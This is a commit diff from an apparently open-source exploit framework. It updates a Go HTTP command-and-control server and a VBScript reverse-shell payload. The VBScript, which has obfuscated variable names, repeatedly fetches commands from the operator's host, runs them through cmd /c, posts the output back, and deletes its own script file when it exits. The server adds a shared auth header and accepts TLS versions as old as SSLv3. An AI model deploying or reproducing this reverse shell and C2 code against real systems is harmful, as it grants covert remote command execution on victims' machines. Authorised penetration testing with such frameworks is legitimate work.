Skip to content

Commit 2948342

Browse files
Added auth header, https, and improved shell stability
1 parent b099e63 commit 2948342

File tree

4 files changed

+59
-24
lines changed

4 files changed

+59
-24
lines changed

c2/httpshellserver/httpshellserver.go

Lines changed: 22 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ import (
1414

1515
"github.com/vulncheck-oss/go-exploit/c2/channel"
1616
"github.com/vulncheck-oss/go-exploit/encryption"
17+
"github.com/vulncheck-oss/go-exploit/random"
1718
"github.com/vulncheck-oss/go-exploit/output"
1819
)
1920

@@ -41,6 +42,9 @@ type Server struct {
4142
Certificate tls.Certificate
4243
// Allows us to track if a connection has been received during the life of the server
4344
Success bool
45+
// Randomly generated during init, gives some sense of security where there is otherwise none.
46+
// This should appear in a header with the name VC-Auth
47+
AuthHeader string
4448
}
4549

4650
// A basic singleton interface for the c2.
@@ -53,6 +57,7 @@ func GetInstance() *Server {
5357
}
5458

5559
func (httpServer *Server) Init(channel channel.Channel) bool {
60+
httpServer.AuthHeader = random.RandLetters(20)
5661
if channel.IsClient {
5762
output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.")
5863

@@ -100,17 +105,30 @@ func (httpServer *Server) CreateFlags() {
100105
}
101106

102107
// start the HTTP server and listen for incoming requests for `httpServer.FileName`.
103-
//
104108
//nolint:gocognit
105109
func (httpServer *Server) Run(timeout int) {
106-
http.HandleFunc("/rx", func(_ http.ResponseWriter, req *http.Request) {
110+
http.HandleFunc("/rx", func(writer http.ResponseWriter, req *http.Request) {
111+
authHeader := req.Header.Get("VC-Auth")
112+
if authHeader != httpServer.AuthHeader {
113+
writer.WriteHeader(http.StatusForbidden)
114+
output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("VC-Auth"), httpServer.AuthHeader)
115+
116+
return
117+
}
107118
body, _ := io.ReadAll(req.Body)
108119
if strings.TrimSpace(string(body)) != "" {
109120
fmt.Printf("\n%s: %s\n", req.RemoteAddr, string(body))
110121
}
111122
})
112123

113124
http.HandleFunc("/", func(writer http.ResponseWriter, req *http.Request) {
125+
authHeader := req.Header.Get("VC-Auth")
126+
if authHeader != httpServer.AuthHeader {
127+
writer.WriteHeader(http.StatusForbidden)
128+
output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("VC-Auth"), httpServer.AuthHeader)
129+
130+
return
131+
}
114132
lastSeen = time.Now()
115133
writer.Header().Set("Server", httpServer.ServerField)
116134

@@ -166,11 +184,11 @@ func (httpServer *Server) Run(timeout int) {
166184
//nolint
167185
MinVersion: tls.VersionSSL30,
168186
}
169-
server := http.Server{
187+
server := http.Server {
170188
Addr: connectionString,
171189
TLSConfig: tlsConfig,
172190
// required to disable HTTP/2 according to https://pkg.go.dev/net/http#hdr-HTTP_2
173-
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),
191+
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler),1),
174192
}
175193
defer server.Close()
176194
_ = server.ListenAndServeTLS("", "")

payload/reverse/vbs.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,10 +12,10 @@ var (
1212

1313
// Generates a script that can be used to create a reverse shell via vbs (can be run with cscript)
1414
// original source: https://raw.githubusercontent.com/cym13/vbs-reverse-shell/refs/heads/master/reverse_shell.vbs
15-
func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool) string {
15+
func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool, authHeader string) string {
1616
if ssl {
17-
return fmt.Sprintf(VBSShell, "https", lhost, lport)
17+
return fmt.Sprintf(VBSShell, "https", lhost, lport, authHeader)
1818
}
1919

20-
return fmt.Sprintf(VBSShell, "http", lhost, lport)
20+
return fmt.Sprintf(VBSShell, "http", lhost, lport, authHeader)
2121
}
-12 KB
Binary file not shown.

payload/reverse/vbs/reverse_http.vbs

Lines changed: 34 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,34 +1,51 @@
11
Option Explicit
2-
On Error Resume Next
32

43
CONST lkasjfo = "%s://%s:%d/"
4+
CONST fowihe = "%s"
55

6-
Dim xmlHttpReq, shell, execObj, alfkj, break, result
6+
Dim xmlHttpReq, shell, execObj, alfkj, break, result, fa
77

88
Set shell = CreateObject("WScript.Shell")
99

1010
break = False
1111
While break <> True
1212
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
13-
xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
1413
xmlHttpReq.Open "GET", lkasjfo, false
14+
xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
15+
xmlHttpReq.setRequestHeader "VC-Auth", fowihe
1516
xmlHttpReq.Send
1617

17-
alfkj = "cmd /c " & Trim(xmlHttpReq.responseText)
18-
19-
If InStr(alfkj, "exit") Then
20-
break = True
18+
If (xmlHttpReq.status <> 200) Then
19+
fa = fa + 1
20+
If fa > 5 Then
21+
break = True
22+
End If
2123
Else
22-
Set execObj = shell.Exec(alfkj)
23-
24-
result = ""
25-
Do Until execObj.StdOut.AtEndOfStream
26-
result = result & execObj.StdOut.ReadAll()
27-
Loop
24+
fa = 0
25+
End If
2826

29-
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
30-
xmlHttpReq.Open "POST", lkasjfo & "rx", false
31-
xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
32-
xmlHttpReq.Send(result)
27+
If Trim(xmlHttpReq.responseText) <> "" Then
28+
alfkj = "cmd /c " & Trim(xmlHttpReq.responseText)
29+
30+
If InStr(alfkj, "exit") Then
31+
break = True
32+
Else
33+
Set execObj = shell.Exec(alfkj)
34+
35+
result = ""
36+
Do Until execObj.StdOut.AtEndOfStream
37+
result = result & execObj.StdOut.ReadAll()
38+
Loop
39+
40+
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
41+
xmlHttpReq.Open "POST", lkasjfo & "rx", false
42+
xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
43+
xmlHttpReq.setRequestHeader "VC-Auth", fowihe
44+
xmlHttpReq.Send(result)
45+
End If
3346
End If
3447
Wend
48+
49+
Set objFSO = CreateObject("Scripting.FileSystemObject")
50+
strScript = Wscript.ScriptFullName
51+
objFSO.DeleteFile(strScript)

0 commit comments

Comments
 (0)